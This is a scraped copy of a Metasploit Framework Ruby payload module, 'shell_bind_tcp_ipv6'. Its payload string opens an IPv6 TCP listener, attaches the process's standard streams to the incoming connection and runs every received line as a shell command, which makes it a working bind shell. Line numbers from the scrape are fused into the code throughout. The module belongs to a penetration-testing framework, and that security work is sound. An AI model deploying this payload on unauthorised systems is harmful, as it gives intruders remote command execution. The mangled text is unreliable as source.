Path: blob/master/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 52478include Msf::Payload::Single9include Msf::Payload::Ruby10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Ruby Command Shell, Bind TCP IPv6',17'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',18'Author' => [ 'kris katterjohn', 'hdm' ],19'License' => MSF_LICENSE,20'Platform' => 'ruby',21'Arch' => ARCH_RUBY,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'ruby',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26)27)28end2930def generate(_opts = {})31return prepends(ruby_string)32end3334def ruby_string35"require 'socket';s=TCPServer.new(\"::\",#{datastore['LPORT'].to_i});c=s.accept;s.close;" \36'$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;' \37'(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'38end39end404142